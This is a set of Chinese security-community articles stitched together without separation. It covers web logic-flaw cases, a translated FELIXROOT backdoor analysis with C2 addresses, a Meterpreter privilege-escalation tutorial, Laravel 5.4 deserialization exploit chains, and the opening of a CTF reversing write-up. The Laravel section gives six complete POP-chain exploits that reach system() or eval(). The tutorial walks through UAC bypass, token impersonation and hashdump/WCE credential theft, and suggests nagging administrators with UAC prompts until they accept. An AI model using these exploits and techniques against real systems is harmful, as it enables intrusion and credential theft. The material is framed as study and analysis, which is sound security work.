姿势：利用并发请求让一次升级收获N张优惠卷。类似于薅羊毛。在发送升级请求之后，系统并没有对程序加“锁”，系统没有判定这个请求是否完成，之后发送领取优惠券的请求的时候，我们就可以采用并发。将这个领取优惠券的请求一秒钟发送几百次，几千次，或许有些请求是不成功的，但是总有很多是成功的，可以达到领取多张优惠券的效果。
* * *
**案例（三）**
Blood_zer0为我们分享的第三个案例是关于self-xss和越权一起打“组合拳”的案例。
目的：一个self-xss，我想扩大危害！
环境：在个人资料修改的地方有一个self-xss。
初始想法：利用csrf篡改他人信息。Blood_zer0认为self-xss这个漏洞有点鸡肋，打cookie的话，打的是自己的cookie，所以，可以利用csrf做个钓鱼界面，来修改他人的信息，比如修改备注名。但是csrf有些巧合，所以为了能够进一步的更稳定的扩大危害，可以看看下面的思路。
姿势：利用越权修改他人信息获取他人cookie。当时Blood_zer0看到了数据包中有个Pid参数，他马上认真的分析了这个参数的作用，之后发现，这个参数是他自己的用户名的参数，后来他发现通过修改这个Pid的值可以达到越权的效果，可以修改这个参数来修改别人的资料，并且，结合上刚才的self-xss，可以将xss打cookie的代码写到别人的资料里面，从而获取到别人的cookie。
**总结**
最后，Blood_zer0为我们展示了他的一些对于逻辑漏洞的总结——一张画了很多次，删了很多次，修改了很多次的思维导图。Blood_zer0希望大家能够多多在一起交流，慢慢的完善这张思维导图。 | 社区文章 |
# 攻击者借助Office漏洞传播FELIXROOT后门
|
##### 译文声明
本文是翻译文章，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、攻击活动细节
2017年9月，在针对乌克兰的攻击活动中FireEye发现了FELIXROOT后门这款恶意载荷，并将其反馈给我们的情报感知客户。该攻击活动使用了一些恶意的乌克兰银行文档，其中包含一个宏，用来下载FELIXROOT载荷并将其投递给攻击目标。
最近FireEye观察到有新的攻击活动中用到了同样的FELIXROOT后门。在这次攻击活动中，武器化的诱骗文档涉及到与环境保护研讨会相关的话题，利用了两个已知的Microsoft
Office漏洞（[CVE-2017-0199](https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html)以及[CVE-2017-11882](https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html)）来将后门程序释放到受害者主机上并加以执行，攻击活动流程图如图1所示。
图1. 攻击流程图
恶意软件借助俄语文档（如图2所示）进行传播，文档用到了已知的Microsoft
Office漏洞利用技术。在此次攻击活动中，我们观察到攻击者利用CVE-2017-0199以及CVE-2017-11882漏洞来传播恶意软件。所使用的恶意文档名为“Seminar.rtf”，文档利用CVE-2017-0199漏洞从`193.23.181.151`这个地址处（如图3所示）下载第二阶段所使用的攻击载荷，所下载的文档包含了CVE-2017-11882漏洞利用技术。
图2. 诱饵文档
图3. Seminar.rtf文档中的URL信息（十六进制数据）
图4表明第一个载荷正尝试下载攻击第二阶段所使用的Seminar.rtf。
图4. 下载第二阶段所使用的Seminar.rtf
下载的Seminar.rtf文档中包含一个二进制文件，通过公式编辑器将可执行文件释放到`%temp%`目录中。该文件将可执行文件释放到`%temp%`目录（MD5：78734CD268E5C9AB4184E1BBE21A6EB9），后者用来下载并执行FELIXROOT释放器组件（MD5：92F63B1227A6B37335495F9BCB939EA2）。
释放出来的可执行文件（MD5：78734CD268E5C9AB4184E1BBE21A6EB9）在PE（Portable
Executable）覆盖区中包含经过压缩处理的FELIXROOT释放器组件。当该文件被执行时会创建两个文件：指向`%system32%\rundll32.exe`路径的一个LNK文件以及FELIXROOT加载器组件。LNK文件会被移动到启动目录中。LNK文件中包含用来执行FELIXROOT加载器组件的命令，如图5所示：
图5. LNK文件中包含的命令
内置的后门组件使用了自定义加密算法进行加密。该文件会直接在内存中解密并执行，不涉及到落盘操作。
## 二、技术细节
成功利用漏洞后，释放器组件会执行并释放加载器组件。加载器组件借助`RUNDLL32.EXE`来执行。后门组件会被加载到内存中，只包含一个导出函数。
后门中包含的字符串经过自定义的加密算法进行加密处理，加密算法为XOR（异或）算法，采用了4字节的密钥。ASCII字符串对应的解密逻辑如图6所示。
图6. ASCII解密过程
Unicode字符串的解密逻辑如图7所示。
图7. Unicode解密过程
执行起来后，后门会创建一个新的线程，然后休眠10分钟，接着确认自身是否由`RUNDLL32.EXE`使用`#1`参数启动，如果条件满足，则后门会在执行命令与控制（C2）网络通信操作之前先进行初始的系统信息收集。为了收集系统信息，后门通过`ROOTCIMV2`命名空间连接到Windows
Management Instrumentation（WMI）。
整个操作过程如图8所示：
图8. 后门组件初始执行流程
从`ROOTCIMV2`及`RootSecurityCenter2`命名空间中引用的类如表1所示：
**WMI命名空间**
---
Win32_OperatingSystem
Win32_ComputerSystem
AntiSpywareProduct
AntiVirusProduct
FirewallProduct
Win32_UserAccount
Win32_NetworkAdapter
Win32_Process
表1. 引用的类
### WMI及注册表
用到的WMI查询语句如下所示：
SELECT Caption FROM Win32_TimeZone
SELECT CSNAME, Caption, CSDVersion, Locale, RegisteredUser FROM Win32_OperatingSystem
SELECT Manufacturer, Model, SystemType, DomainRole, Domain, UserName FROM Win32_ComputerSystem
后门会读取注册表相关键值信息，收集管理员权限提升信息及代理信息。
1、查询`SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem`路径中的`ConsentPromptBehaviorAdmin`及`PromptOnSecureDesktop`表项值；
2、查询`SoftwareMicrosoftWindowsCurrentVersionInternet
Settings`路径中的`ProxyEnable`、`Proxy:(NO)`、`Proxy`及`ProxyServer`表项值。
FELIXROOT后门的功能如表2所示。每条命令都会在独立的线程中执行。
**命令** | **描述**
---|---
0x31 | 通过WMI及注册表收集系统指纹信息
0x32 | 释放文件并加以执行
0x33 | 远程Shell
0x34 | 终止与C2服务器的连接
0x35 | 下载并运行批处理脚本
0x36 | 下载文件到本地
0x37 | 上传文件
表2. FELIXROOT后门命令
使用图6及图7的解密方法后，我们从内存中提取出了每条命令执行后的日志信息，如图9所示。
图9. 命令执行后的日志
### 网络通信
FELIXROOT会通过HTTP与HTTPS
POST协议与C2服务器通信。通过网络发送的数据经过加密处理，采用自定义的数据结构。所有的数据都经过AES加密，转换为Base64数据然后再发送给C2服务器（如图10所示）。
图10. 发送给C2服务器的POST请求
Request及Response数据包头部中的其他所有字段（如`User-Agents`、`Content-Type`及`Accept-Encoding`）都经过XOR加密处理，可以在恶意软件中找到。恶意软件调用Windows
API获取计算机名、用户名、卷序列号、Windows版本、处理器架构以及其他两个值（分别为“1.3”以及“KdfrJKN”）。“KdfrJKN”这个值可能是个标识符，可以在文件内部的JSON对象中找到（如图11所示）。
图11. 每次通信中所使用的主机信息
FELIXROOT后门在C2通信中用到了3个参数，每个参数都可以提供关于目标主机的一些信息（如表3所示）。
**参数** | **描述**
---|---
‘u=’ | 该参数包含目标主机信息，具体格式为：`<Computer Name>, <User Name>, <Windows Versions>,
<Processor Architecture>, <1.3>, < KdfrJKN >, <Volume Serial Number>`
‘&h=’ | 该参数包含执行的命令及具体结果
‘&p=’ | 该参数包含与C2服务器有关的数据信息
表3. FELIXROOT后门参数
### 加密算法
发送给C2服务器的所有数据都经过AES加密处理，通过`IbindCtx`接口使用HTTP或者HTTPS协议进行传输。每次通信所使用的AES密钥都不相同，该密钥经过两个RSA公钥的加密处理。FELIXROOT所使用的RSA密钥如图12及图13所示，AES加密参数如图14所示。
图12. RSA公钥1
图13. RSA公钥2
图14. AES加密参数
加密处理后，发往C2的密文还会经过Base64编码。发送给服务器的数据结构体如图15所示，C2通信中对应的数据结构如图16所示。
图15. 用来将数据发送至服务器的结构体
图16. 发往C2服务器数据结构样例
后门使用`CryptBinaryToStringA`函数将该结构体数据转换为Base64编码。
FELIXROOT后门包含若干条命令，用于不同的任务。每项任务执行完毕后，恶意软件会在执行下一项任务前睡眠1分钟。一旦所有任务执行完毕，恶意软件会跳出循环，删除数据缓冲区，然后清除目标主机上的所有痕迹，包含如下清痕操作：
1、从启动目录中删除LNK文件；
2、删除`HKCUSoftwareClassesApplicationsrundll32.exeshellopen`注册表项；
3、从系统中删除释放器组件。
## 三、总结
CVE-2017-0199以及CVE-2017-11882是目前我们最常见到的两个漏洞。攻击者通常会越来越广泛地利用这些漏洞发动攻击，直至漏洞再无可用之处为止，因此各个单位必须确保他们处于足够的防护中。在本文成文时，FireEye
Multi Vector
Execution（MVX）引擎已经能正确识别并阻止此类安全威胁。我们建议所有行业保持警惕，因为此次攻击活动的肇事者很有可能会扩大他们的攻击范围。
## 四、附件
### IOC
MD5哈希值 | 样本
---|---
11227ECA89CC053FB189FAC3EBF27497 | Seminar.rtf
4DE5ADB865B5198B4F2593AD436FCEFF | Seminar.rtf
78734CD268E5C9AB4184E1BBE21A6EB9 | Zam<随机数>.doc
92F63B1227A6B37335495F9BCB939EA2 | FELIXROOT Dropper
DE10A32129650849CEAF4009E660F72F | FELIXROOT Backdoor
表4. FELIXROOT IOC
### 网络IOC
217.12.104.100/news
217.12.204.100:443/news
193.23.181.151/Seminar.rtf
Accept-Encoding: gzip, deflate
content-Type: application/x-www-form-urlencoded
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
### 配置文件
版本1：
{"1" : "https://88.198.13.116:8443/xmlservice","2" : "30","4" : "GufseGHbc","6" : "3", "7" : “http://88.198.13.116:8080/xmlservice"}
版本2：
{"1" : "https://217.12.204.100/news/","2" : "30","4" : "KdfrJKN","6" : "3", "7" : "http://217.12.204.100/news/"}
### FireEye检测结果
MD5 | 产品 | 特征 | 操作
---|---|---|---
11227ECA89CC053FB189FAC3EBF27497 | NX/EX/AX | Malware.Binary.rtf | 阻止
4DE5ADB865B5198B4F2593AD436FCEFF | NX/EX/AX | Malware.Binary.rtf | 阻止
78734CD268E5C9AB4184E1BBE21A6EB9 | NX/EX/AX | Malware.Binary | 阻止
92F63B1227A6B37335495F9BCB939EA2 | NX/EX/AX | FE_Dropper_Win32_FELIXROOT_1 |
阻止
DE10A32129650849CEAF4009E660F72F | NX/EX/AX | FE_Backdoor_Win32_FELIXROOT_2 |
组织
11227ECA89CC053FB189FAC3EBF27497 | HX | IOC | 警告
4DE5ADB865B5198B4F2593AD436FCEFF | HX | IOC | 警告
表5. FireEye检测结果 | 社区文章 |
### 0×01 引言
通常，我们在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的权限级别将会使我们受到很多的限制，所以必须将访问权限从Guset提升到User,再到Administrator,最后到SYSTEM级别。
渗透的最终目的是获取服务器的最高权限，即Windows操作系统中管理员账号的权限，或LINUX操作系统中root账户权限。
提升权限的方式分为两类。
> 纵向提权：低权限角色获得高权限角色的权限。比如，一个webshell权限通过提权之后拥有了管理员的权限，那么这种提权就是纵向提权。
>
> 横向提权：获取同级别角色的权限。比如，通过已经攻破的系统A获取了系统B的权限，那么这种提权就属于横向提权。
所以在成功获取目标机meterpreter shell后，我们要知道现在已经拥有了什么权限。
1. 在meterpreter shell下输入命令shell进入目标机CMD命令行
[
2. 输入whoami /groups 命令
[
可以看到这个表是Mandatory Label\Medium
MandatoryLevel，说明我们是一个标准用户，需要将用户权限从标准用户提升到管理员权限，也就是Mandatory Label\High
MandatoryLevel。
提权大体有以下几种方法：
> 使用getsystem提升权限
> 利用本地漏洞
> 假冒令牌
> 绕过Windows账户控制（UAC）
> HASH
### 0×02 getsystem
利用meterpreter中的getsystem命令，该命令自动寻找各种可能的适应技术，以便将用户权限提升到更高级别。我们输入getsystem –h
来看下它使用的3种技术，如下图。
[
默认值0会尝试所有列出技术来尝试提权，直至成功。提权方式采用命令管道模拟提升的方法和令牌复制的方法。输入getsystem命令即完成操作。具体效果见下图。
[
该命令使用方便，并且简单高效，在渗透测试中会频繁使用到，建议所有提权过程中先行尝试此方法。
### 0×03利用本地漏洞
本地漏洞提权，即使用本地漏洞的利用程序（loca>exploit）提升权限。就是说通过运行一些现成的造成溢出漏洞的exploit,把用户从users组或其它系统用户中提升到administrators组（或root）。
溢出漏洞就像杯子里装水,水多了杯子装不进去,就会把里面的水溢出来。而相对计算机来说计算机有个地方叫缓存区,程序的缓存区长度是被事先设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出了。
1. 利用getuid命令查看已经获得的权限，可以看到现在的权限很低，是个user权限。尝试利用getsystem提权，失败。见下图：
[
2.输入命令shell进入目标机CMD命令行，再利用systeminfo命令或者通过查询 c:\windows\
里留下的补丁号.log来看看目标机大概打了哪些补丁。
[
可以看到目标机基本上没有打任何补丁，我们可以尝试利用Windows下已有的漏洞提权，如ms13_053,ms14_058,ms16_016,ms16_032等等。
相关漏洞的具体信息分析和共享可以参考下面2个网站：
>
> 安全焦点，其BugTraq是一个出色的漏洞和exploit数据源，可以通过CVE编号，或者产品信息漏洞直接搜索。网址：[http://www.securityfocus.com/bid。](http://www.securityfocus.com/bid%E3%80%82)
> Exploit-> DB,取代了老牌安全网站milw0rm。不断更新大量的Exploit程序和报告，它的搜索功能可以搜索整个网站内容。网址：[http://www.exploit-> db.com。](http://www.exploit-db.com./)
*附上收集的部分系统对应补丁号 Win2003 Win2008
Win2012
KB2360937|MS10-084
KB2478960|MS11-014
KB2507938|MS11-056
KB2566454|MS11-062
KB2646524|MS12-003
KB2645640|MS12-009
KB2641653|MS12-018
KB944653|MS07-067
KB952004|MS09-012 PR
KB971657|MS09-041
KB2620712|MS11-097
KB2393802|MS11-011
KB942831|MS08-005
KB2503665|MS11-046
KB2592799|MS11-080
KB956572|MS09-012烤肉
KB2621440|MS12-020
KB977165|MS10-015Ms Viru
KB3139914|MS16-032
KB3124280|MS16-016
KB3134228|MS16-014
KB3079904|MS15-097
KB3077657|MS15-077
KB3045171|MS15-051
KB3000061|MS14-058
KB2829361|MS13-046
KB2850851|MS13-053EPATHOBJ 0day 限32位
KB2707511|MS12-042 sysret -pid
KB2124261|KB2271195 MS10-065 IIS7
KB970483|MS09-020IIS6
KB3139914|MS16-032
KB3124280|MS16-016
KB3134228|MS16-014
KB3079904|MS15-097
KB3077657|MS15-077
KB3045171|MS15-051
KB3000061|MS14-058
KB2829361|MS13-046
KB2850851|MS13-053EPATHOBJ 0day 限32位
KB2707511|MS12-042 sysret -pid
KB2124261|KB2271195 MS10-065 IIS7
KB970483|MS09-020IIS6
KB3139914|MS16-032
KB3124280|MS16-016
KB3134228|MS16-014
KB3079904|MS15-097
KB3077657|MS15-077
KB3045171|MS15-051
KB3000061|MS14-058
KB2829361|MS13-046
KB2850851|MS13-053EPATHOBJ 0day 限32位
KB2707511|MS12-042 sysret -pid
KB2124261|KB2271195 MS10-065 IIS7
KB970483|MS09-020IIS6
1. 接着我们输入命令background,就是把你当前的metasploit shell转为后台执行。[
4.然后搜索Metasploit中是否有相应的exploit程序，下面以ms16_016（该模块在windows 32位和64位下都有效）为例。
[
5.通过这个exploit进行提权，具体命令如下图：
[
我们可以看到成功利用了notepad漏洞，启动了一个PID为708的进程。接着输入PS命令查看目标机进程，找到PID
708这个进程，并且利用migrate命令迁移到该进程中。最后执行getsystem，再次查看权限，看到没有，已经是系统权限了。
[
[
### 0×04假冒令牌
令牌是系统临时密钥，它允许你在不提供密码或其他凭证的前提下，访问网络和系统资源。这些令牌将持续存在于系统中，除非系统重新启动。我们输入use
incognito命令，然后输入list_tokens –u，列出可用token，见下图：
[
我们可以看到有二种类型的令牌，一种是Delegation
Tokens，也就是授权令牌，它支持交互式登录（比如可以通过远程桌面登陆访问）。还有一种是Impersonation
Tokens，也就是模拟令牌，它是非交互的会话。可看到令牌的数量，取决于我们meterpreter
shell的访问级别。我们可以看到已经获得一个系统管理员的授权令牌，现在我们就是要假冒这个令牌，成功后我们就可以拥有它的权限。接下来我们在incognito中调用impersonate_token命令，具体命令见下图
[
运行成功，我们在meterpreter
shell下运行shell命令并输入whoami，可以看到我现在就是我们假冒的那个win-57tj4b561mt\administrator系统管理员了。
### 0×05 绕过Windows用户账户控制（UAC）
在Windows Vista
以及更高的版本中，微软引进了安全控制策略，分为高、中、低三个等级。高等级的进程具有管理员权限，中等级进程拥有一个基本用户的权限，低级别的进程的权限是受各种限制的，用来保证当系统受到威胁时，带来的损害能保持到最小。
UAC有4种设置要求：
> 始终通知：这是最严格的设置，任何时候，当有程序要使用高级别权限时，都会提示本地用户。
>
> 仅在程序试图更改我的计算机时通知我：这是UAC的默认设置。本地Windows程序要使用高级别权限时，不通知用户。但当第三方程序要求使用高级别权限时，它会提示本地用户。
> 仅在程序试图更改我的计算机时通知我（不降低桌面的亮度）：与上一条设置要求相同，但提示用户时不降低桌面的亮度。
> 从不提示：当用户为系统管理员时，所有程序都会以最高权限运行。
> 一.使用Bypassuac提权
> Bypassuac主要有以下4个模块
> [
1. 我们先看下现在已经获得的权限？该权限能否直接通过getsystem来直接提权？
[
可以看到是shuteer用户权限，通过getsystem提权提示权限不够，拒绝访问。
2.下面利用bypassuac模块来提权，这里使用exploit/windows/local/bypassuac模块（该模块在windows
32位和64位下都有效），本模块执行成功后将会返回一个新的meterpreter shell，设置如下图：
[
已经攻击成功，返回了一个session 5的meterpreter shell，此时我们通过sessions 命令可以看到已经有了2个meterpreter
shell。
[
3.执行getuid查看权限，如果发现还是普通权限，不要失望，继续执行getsystem，再次查看权限，已经成功绕过UAC，且已经是系统权限了。
[
其他几个模块用法和上面一样，原理有所不同，执行成功后都会返回一个新的meterpreter shell，且都需要执行getsystem才能获取系统权限。
使用bypassuac模块时一些注意事项：
> 使用bypassuac模块进行提权时，系统当前用户必须在管理员组，而且用户账户控制程序UAC设置为默认，即“仅在程序试图更改我的计算机时通知我”。
>
> Bypassuac模块运行时会在目标机上创建多个文件，会被杀毒软件识别。exploit/windows/local/bypassuac_injection模块直接运行在内存中的反射DLL中，所以它不触碰硬盘，可以最大限度地降低被杀毒软件检测到的概率。
> Metasploit框架攻击目前没有针对Windows 8的模块
二.使用RunAs提权
这种方法可以利用exploit/windows/local/ask模块（该模块在windows
32位和64位下都有效），创建一个可执行文件，目标机会运行一个发起提升权限请求的程序，提示用户是否要继续运行，如果用户选择“是”，就会触发返回一个高权限的meterpreter
shell。设置如下图：
[
输入run命令后会在目标机上会弹出UAC，提示用户是否运行
[
选择“是”就会成功返回一个新的meterpreter shell。
[
同样执行getuid查看权限，发现是普通权限时，继续执行getsystem，再次查看权限，已经是系统权限了。
[
使用RunAs模块时一些注意事项：
> 使用RunAs模块进行提权时，系统当前用户须在管理员组或者知道管理员的密码，用户账户控制程序UAC设置则没有要求。
> 使用RunAs模块进行提权时，会创建一个可执行文件，为了避免给杀毒软件查杀，该可执行文件（需进行免杀处理）的创建要使用EXE::Custom选项。
>
> RunAs攻击的缺点是，程序企图修改计算机设置时，系统会对用户发出提醒。此警报可能会被管理人员认定为攻击。建议多次运行，系统多次对用户发出提醒后，对于缺乏安全意识或不厌其烦的管理人员会点击“是”，从而完成权限提升。
### 0×06 HASH攻击
1.使用hashdump命令
Hashdump
meterpreter脚本可以从目标机器中提取hash值，破解hash值即可获得登陆密码。计算机中的每个账号（如果是域服务器，则为域内的每个账号）的用户名和密码都存储在SAM文件中，当计算机运行时，该文件对所有账号进行锁定，要想访问就必须要有“系统级”账号。所以要使用该命令就必须要进行权限的提升。
在meterpreter shell提示符下输入hashdump命令，将导出目标机SAM数据库中HASH，见下图：
[
抓取到的HASH可以使用暴力破解或者使用彩虹列表进行破解，个人建议可以直接到[http://www.cmd5.com/或者http://www.xmd5.com/进行破解。](http://www.cmd5.com/%E6%88%96%E8%80%85http://www.xmd5.com/%E8%BF%9B%E8%A1%8C%E7%A0%B4%E8%A7%A3%E3%80%82)
还有一个命令smart_hashdump,可以导出域所有用户的HASH。
2.WindowsCredentials Editor (WCE)或者MIMIKATZ
Windows Credentials Editor
(WCE)是一款功能强大的windows平台内网渗透工具，它可以列举登陆会话，并且可以添加、改变和删除相关凭据（例如：LM/NT
hashes）。这些功能在内网渗透中能够被利用，例如，在windows平台上执行绕过hash或者从内存中获取NT/LM
hashes（也可以从交互式登陆、服务、远程桌面连接中获取）以用于进一步的攻击，而且体积也非常小，是内网渗透手必备工具。
先使用upload命令将wce.exe上传到目标主机C盘中，然后在目标机shell下输入 wce –w命令，便会成功提取到系统明文管理员密码。如下图。
[
MIMIKATZ的使用比较简单，就不演示了！
这2个工具必须要在管理员权限下使用，还要注意工具的免杀。 | 社区文章 |
# 前言
反序列化漏洞越来越常见了，在攻击中也经常使用此类漏洞，这里通过Laravel5.4来锻炼自己的代码审计能力。
# 环境搭建
在 `routes/web.php` 中添加路由。
Route::get('/', "DemoController@demo");
在 `app/Http/Controllers` 目录下添加控制器。
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['data'])){
@unserialize(base64_decode($_GET['data']));
}
else{
highlight_file(__FILE__);
}
}
}
# 漏洞分析
先寻找一下反序列化漏洞的触发点，全局搜索 `__destruct()` 方法或者 `__wakeup()` 方法。
## POC链-1
跟进 `src/Illuminate/Broadcasting/PendingBroadcast.php` 中的 `__destruct()` 方法，发现
`$this->events` 和 `$this->event` 都是可控的，因此可以寻找一个 `__call()` 方法或者 `dispatch()`
方法来进行利用。
先用 `__call()` 来做突破点，跟进 `src/Faker/Generator.php` 中的 `__call()` 方法，发现其调用了
`format()` 方法，进而调用 `getFormatter()` 方法。
由于 `getFormatter()` 方法中的 `$this->formatters[$formatter]` 是可控的并直接 return
回上一层，因此可以利用该可控参数来进行命令执行 RCE 操作
### exp
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($events="", $event="") {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Faker {
class Generator {
protected $formatters = array();
function __construct($func="") {
$this->formatters = ['dispatch' => $func];
}
}
}
namespace {
$demo1 = new Faker\Generator("system");
$demo2 = new Illuminate\Broadcasting\PendingBroadcast($demo1, "calc");
echo base64_encode(serialize($demo2));
}
?>
### POC链利用流程图
## POC链-2
继续上面寻找可用的 `__call()` 方法，跟进 `src/Illuminate/Validation/Validator.php` 中的
`__call()` 方法，先进行字符串的操作截取 `$method` 第八个字符之后的字符，由于传入的字符串是
`dispatch`，正好八个字符所以传入后为空，接着经过 if 逻辑调用 `callExtension()` 方法，触发
`call_user_func_array` 方法。
### exp
<?php
namespace Illuminate\Validation {
class Validator {
public $extensions = [];
public function __construct() {
$this->extensions = ['' => 'system'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Validation\Validator;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Validator();
$this->event = $cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast('calc')));
}
?>
### POC链利用流程图
## POC链-3
跟进 `src/Illuminate/Support/Manager.php` 中的 `__call()` 方法，其调用 `driver()` 方法。
跟进 `createDriver()` 方法，当 `$this->customCreators[$driver]` 存在时调用
`callCustomCreator()` 方法，进一步跟进 `callCustomCreator()` 方法，发现
`$this->customCreators[$driver]` 和 `$this->app)` 均是可控的，因此可以触发 RCE。
### exp
<?php
namespace Illuminate\Notifications {
class ChannelManager {
protected $app;
protected $customCreators;
protected $defaultChannel;
public function __construct() {
$this->app = 'calc';
$this->defaultChannel = 'H3rmesk1t';
$this->customCreators = ['H3rmesk1t' => 'system'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast {
protected $events;
public function __construct()
{
$this->events = new ChannelManager();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
### POC链利用流程图
## POC链-4
大致看了一遍 `__call()` 方法基本没有利用的地方了(太菜了找不到)，开始跟一下 `dispath()` 方法。
先跟进 `src/Illuminate/Events/Dispatcher.php` 中的 `dispatch()` 方法，注意到
`$listener($event, $payload)`，尝试以这个为突破口来实现 RCE。
看看 `$listener` 的值是如何来的，跟进 `getListeners()` 方法，这里可以先通过可控变量
`$this->listeners[$eventName]` 来控制 `$listener` 的值，接着进入数组合并函数，调用
`getWildcardListeners()` 方法，跟进去看一下，这里保持默认设置执行完之后会返回 `$wildcards =
[]`，接着回到数组合并函数合并之后还是 `$this->listeners[$eventName]` 的值，接着进入 `class_exists()`
函数，这里由于并不会存在一个命令执行函数的类名，因此可以依旧还是返回 `$this->listeners[$eventName]` 的值。
控制了 `$listener` 的取值之后，将传入的 `$event` 的值作为命令执行函数的参数值即可来进行 RCE 操作。
### exp
<?php
namespace Illuminate\Events {
class Dispatcher {
protected $listeners = [];
public function __construct() {
$this->listeners = ["calc" => ["system"]];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Events\Dispatcher;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = "calc";
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
### POC链利用流程图
## POC链-5
继续跟 `dispatch()` 方法，跟进 `src/Illuminate/Bus/Dispatcher.php` 中的 `dispatch()`
方法，注意到该方法如果 if 语句判断为 true 的话，会进入 `dispatchToQueue()` 方法，跟进 `dispatchToQueue()`
方法发现 `call_user_func()` 方法。
先看看怎么使得进入 if 语句的循环中，首先 `$this->queueResolver` 是可控的，跟进
`commandShouldBeQueued()` 方法，这里判断 `$command` 是否是 `ShouldQueue` 的实现，即传入的
`$command` 必须是 `ShouldQueue` 接口的一个实现，而且 `$command` 类中包含 `connection` 属性。
这里找到两个符合条件的类 `src/Illuminate/Notifications/SendQueuedNotifications.php` 中的
`SendQueuedNotifications` 类和 `src/Illuminate/Broadcasting/BroadcastEvent.php`
中的 `BroadcastEvent` 类，当类是 use 了 trait 类，同样可以访问其属性，这里跟进
`src/Illuminate/Bus/Queueable.php`。
### exp
<?php
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver = "system";
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
class BroadcastEvent {
public $connection;
public $event;
public function __construct() {
$this->event = "calc";
$this->connection = $this->event;
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
### POC链利用流程图
## POC链-6
继续接着上一条链子的 `call_user_func()` 方法往后，由于这里变量是可控的，因此可以调用任意类的方法，跟进
`library/Mockery/Loader/EvalLoader.php` 中的 `load()` 方法，这里如果不进入 if 循环从而触发到
`getCode()` 方法即可造成任意代码执行漏洞。
看看 if 循环的判断条件，一路跟进调用，由于最后的 `$this->name` 是可控的，因此只需要给它赋一个不存在的类名值即可，可利用的
`getName()` 方法比较多，选一个能用的就行。
### exp-1
<?php
namespace Mockery\Generator {
class MockConfiguration {
protected $name = 'H3rmesk1t';
}
class MockDefinition {
protected $config;
protected $code;
public function __construct() {
$this->config = new MockConfiguration();
$this->code = "<?php system('calc');?>";
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Illuminate\Bus {
use Mockery\Loader\EvalLoader;
class Dispatcher {
protected $queueResolver;
public function __construct() {
$this->queueResolver = [new EvalLoader(), 'load'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Mockery\Generator\MockDefinition;
class BroadcastEvent {
public $connection;
public function __construct() {
$this->connection = new MockDefinition();
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
### exp-2
<?php
namespace Symfony\Component\HttpFoundation {
class Cookie {
protected $name = "H3rmesk1t";
}
}
namespace Mockery\Generator {
use Symfony\Component\HttpFoundation\Cookie;
class MockDefinition {
protected $config;
protected $code;
public function __construct($code) {
$this->config = new Cookie();
$this->code = $code;
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Illuminate\Bus {
use Mockery\Loader\EvalLoader;
class Dispatcher {
protected $queueResolver;
public function __construct() {
$this->queueResolver = [new EvalLoader(), 'load'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Mockery\Generator\MockDefinition;
class BroadcastEvent {
public $connection;
public function __construct() {
$this->connection = new MockDefinition("<?php system('calc');?>");
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
### POC链利用流程图 | 社区文章 |
`STEM CTF Cyber Challenge 2019`的一道400分的逆向题，做题过程中学到了很多以前忽略的小知识点，以下是详细复现记录
# REbase-fix
## 简单交互
先file一下，发现是x86-64的elf
➜ Desktop file REbase-fix
REbase-fix: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
IDA打开后发现没有main函数，应该是加了壳
`strings`后发现，最后两行有`UPX!`的字符串
